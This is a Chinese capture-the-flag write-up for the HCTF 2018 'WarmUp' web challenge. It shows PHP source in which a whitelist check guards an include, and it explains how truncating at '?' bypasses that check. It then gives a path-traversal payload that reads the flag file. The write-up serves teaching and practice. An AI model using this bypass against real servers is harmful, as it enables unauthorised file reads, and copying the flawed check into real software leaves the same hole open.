[HCTF 2018]WarmUp

  1. f12发现源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

整体逻辑

  • 请求参数file不为空且不为数字
  • emmm.checkFile方法返回true
  • 利用include读取文件

再看hint
flag not here, and flag in ffffllllaaaagggg
目标读取ffffllllaaaagggg

  1. emmm.checkFile
class emmm
    {
        public static function checkFile(&$page)
        {
            // page为 ?file=xxxx
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            // 全匹配即返回
            if (in_array($page, $whitelist)) {
                return true;
            }
            // mb_substr(str,start,end) 返回str[start,end)的字符
            $_page = mb_substr(
                $page,
                0,
                // mb_strpos — 查找字符串在另一个字符串中首次出现的位置
                mb_strpos($page . '?', '?')
            );
            // 如果_page全匹配就返回
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

分析代码知道只需要checkFile第二个if返回true或者是第三个if,并且读取ffffllllaaaagggg

构造payload
?file=source.php?../…/…/…/…/ffffllllaaaagggg
多写几层…/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值